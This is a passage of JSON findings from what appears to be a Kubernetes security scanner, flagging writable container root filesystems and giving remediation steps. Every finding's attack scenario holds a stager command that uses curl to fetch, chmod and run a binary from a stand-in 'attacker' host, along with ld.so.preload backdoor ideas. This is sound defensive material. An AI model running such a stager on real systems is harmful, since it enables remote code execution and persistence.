        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/vulnerable/risky-app`",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/vulnerable/root-runner`",
    "description": "Container `app` in `Deployment/vulnerable/root-runner` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:vulnerable:socket-mounts-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/vulnerable/socket-mounts-app`",
    "description": "Container `app` in `Deployment/vulnerable/socket-mounts-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Pod:foothold-exec:foothold-decoy:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Pod/foothold-exec/foothold-decoy`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-decoy` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get pod/foothold-decoy -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Pod:foothold-exec:foothold-target:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Pod/foothold-exec/foothold-target`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-target` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get pod/foothold-target -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Job:gw-workloads:gw-batch:batch",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `batch` has a writable root filesystem in `Job/gw-workloads/gw-batch`",
    "description": "Container `batch` in `Job/gw-workloads/gw-batch` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "batch"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get job/gw-batch -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
